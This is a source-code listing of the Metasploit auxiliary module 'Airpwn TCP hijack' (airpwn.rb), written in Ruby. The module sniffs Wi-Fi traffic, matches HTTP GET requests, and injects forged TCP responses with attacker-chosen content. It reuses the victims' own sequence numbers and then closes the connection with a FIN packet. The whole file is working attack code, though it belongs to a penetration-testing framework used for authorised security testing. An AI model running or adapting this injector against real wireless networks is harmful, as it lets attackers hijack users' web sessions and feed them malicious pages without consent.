Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / spoof / wifi / airpwn.rb @ master

History | View | Annotate | Download (5.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13
require 'yaml'
14

    
15
class Metasploit3 < Msf::Auxiliary
16

    
17
        include Msf::Exploit::Capture
18
        include Msf::Exploit::Lorcon2
19
        include Msf::Auxiliary::Report
20

    
21
        def initialize
22
                super(
23
                        'Name'        => 'Airpwn TCP hijack',
24
                        'Version'     => '$Revision$',
25
                        'Description'    => %q{
26
                                TCP streams are 'protected' only in so much as the sequence
27
                        number is not guessable.
28

    
29
                        Wifi is shared media.
30

    
31
                        Got your nose.
32

    
33
                        Responses which do not begin with Header: Value assumed to be
34
                        HTML only and will have Header:Value data prepended.  Responses
35
                        which do not include a Content-Length header will have one generated.
36
                        },
37
                        'Author'      => ['toast', 'dragorn', 'ddz', 'hdm'],
38
                        'License'     => MSF_LICENSE,
39
                        'Actions'     =>
40
                                [
41
                                        [ 'Airpwn' ]
42
                                ],
43
                        'PassiveActions' =>
44
                                [
45
                                        'Capture'
46
                                ],
47
                        'DefaultAction'  => 'Airpwn'
48
                )
49

    
50
                register_options(
51
                        [
52
                                OptPath.new('SITELIST',          [ false, "YAML file of URL/Replacement pairs for GET replacement",
53
                                                File.join(Msf::Config.install_root, "data", "exploits", "wifi", "airpwn", "sitelist.yml")
54
                                        ]),
55
                                OptBool.new('USESITEFILE', [ true, "Use site list file for match/response", "false"]),
56
                                OptString.new('FILTER',          [ true, "Default BPF filter", "port 80"]),
57
                                OptString.new('MATCH',          [ true, "Default request match", "GET ([^ ?]+) HTTP" ]),
58
                                OptString.new('RESPONSE',  [ true, "Default response", "Airpwn" ]),
59
                        ], self.class)
60
        end
61

    
62
        def run
63

    
64
                @sitelist = datastore['SITELIST']
65
                @regex    = datastore['MATCH']
66
                @response = datastore['RESPONSE']
67
                @filter          = datastore['FILTER']
68
                @useyaml  = datastore['USESITEFILE']
69

    
70
                @http = []
71

    
72
                if @useyaml then
73
                        begin
74
                        @http = YAML::load_file(@sitelist)
75

    
76
                        rescue ::Exception => e
77
                                print_error "AIRPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
78
                        end
79
                else
80
                        @http[0] = { "regex" => [@regex], "response" => @response }
81
                end
82

    
83
                @run = true
84

    
85
                print_status "AIRPWN: Parsing responses and defining headers"
86

    
87
                # Prep the responses
88
                @http.each do |r|
89
                        if not r["response"] then
90
                                if not r["file"] then
91
                                        print_error "AIRPWN: Missing 'response' or 'file' in yaml config"
92
                                        r["txresponse"] = ""
93
                                else
94
                                        r["txresponse"] = ""
95
                                        begin
96
                                        File.open(r["file"], "rb") do |io|
97
                                                r["txresponse"] += io.read(4096)
98
                                        end
99
                                        rescue EOFError
100
                                        rescue ::Exception => e
101
                                                print_error("AIRPWN: failed to parse response file " +
102
                                                        "#{r['file']}, #{e.class} #{e} #{e.backtrace}")
103
                                        end
104
                                end
105
                        else
106
                                if r["file"] then
107
                                        print_error "AIRPWN: Both 'response' and 'file' in yaml config, " +
108
                                                "defaulting to 'response'"
109
                                end
110

    
111
                                r["txresponse"] = r["response"]
112
                        end
113

    
114
                        # If we have headers
115
                        if r["txresponse"].scan(/[^:?]+: .+\n/m).size > 0
116
                        #  But not a content-length
117
                                if r["txresponse"].scan(/^Content-Length: /).size == 0
118
                                        # Figure out the length and add it
119
                                        loc = (/\n\n/m =~ r["txresponse"])
120
                                        if loc == nil
121
                                                print_status "AIRPWN: Response packet looks like HTTP headers but can't find end of headers.  Will inject as-is."
122
                                        else
123
                                                print_status "AIRPWN: Response packet looks like HTTP headers but has no Content-Length, adding one."
124
                                                r["txresponse"].insert(loc, "\r\nContent-Length: " + (r["response"].length - loc).to_s)
125
                                        end
126
                                end
127
                        else
128
                        # We have no headers, generate a response
129
                                print_status "AIRPWN: Response packet has no HTTP headers, creating some."
130
                                r["txresponse"].insert(0, "HTTP/1.1 200 OK\r\nDate: %s\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: %d\r\n\r\n" % [Time.now, @response.size])
131
                        end
132
                end
133

    
134
                print_status "Opening wifi module."
135
                open_wifi
136

    
137
                self.wifi.filter = @filter if (@filter != "")
138
                each_packet do |pkt|
139

    
140
                        d3 = pkt.dot3
141

    
142
                        next if not d3
143
                        p = PacketFu::Packet.parse(d3) rescue nil
144
                        next unless p.is_tcp?
145

    
146
                        @http.each do |r|
147
                                hit = nil
148
                                r['regex'].each do |reg|
149
                                        hit = p.payload.scan(/#{reg}/) || nil
150
                                        break if hit.size != 0
151
                                end
152
                                next if hit.size.zero?
153

    
154
                                print_status("AIRPWN: %s -> %s HTTP GET [%s] TCP SEQ %u" % [p.ip_saddr, p.ip_daddr, $1, p.tcp_seq])
155

    
156
                                injpkt = Lorcon::Packet.new()
157
                                injpkt.bssid = pkt.bssid
158

    
159
                                response_pkt = PacketFu::TCPPacket.new
160
                                response_pkt.eth_daddr = p.eth_saddr
161
                                response_pkt.eth_saddr = p.eth_daddr
162
                                response_pkt.ip_saddr = p.ip_daddr
163
                                response_pkt.ip_daddr = p.ip_saddr
164
                                response_pkt.ip_ttl = p.ip_ttl
165
                                response_pkt.tcp_sport = p.tcp_dport
166
                                response_pkt.tcp_dport = p.tcp_sport
167
                                response_pkt.tcp_win = p.tcp_win
168
                                response_pkt.tcp_seq = p.tcp_ack
169
                                response_pkt.tcp_ack = (p.tcp_seq + p.ip_header.body.to_s.size - (p.tcp_hlen * 4)) & 0xffffffff
170
                                response_pkt.tcp_flags.ack = 1
171
                                response_pkt.tcp_flags.psh = 1
172
                                response_pkt.payload = r["txresponse"]
173
                                response_pkt.recalc
174
                                injpkt.dot3 = response_pkt.to_s
175

    
176
                                case pkt.direction
177
                                when ::Lorcon::Packet::LORCON_FROM_DS
178
                                        injpkt.direction = Lorcon::Packet::LORCON_TO_DS
179
                                when ::Lorcon::Packet::LORCON_TO_DS
180
                                        injpkt.direction = Lorcon::Packet::LORCON_FROM_DS
181
                                else
182
                                        injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS
183
                                end
184

    
185
                                self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error)
186

    
187
                                response_pkt.tcp_seq = response_pkt.tcp_seq + response_pkt.payload.size
188
                                response_pkt.tcp_flags.ack = 1
189
                                response_pkt.tcp_flags.psh = 0
190
                                response_pkt.tcp_flags.fin = 1
191
                                response_pkt.payload = 0
192
                                response_pkt.recalc
193

    
194
                                injpkt.dot3 = response_pkt.to_s
195
                                self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error)
196
                        end
197
                end
198

    
199
        end
200

    
201
end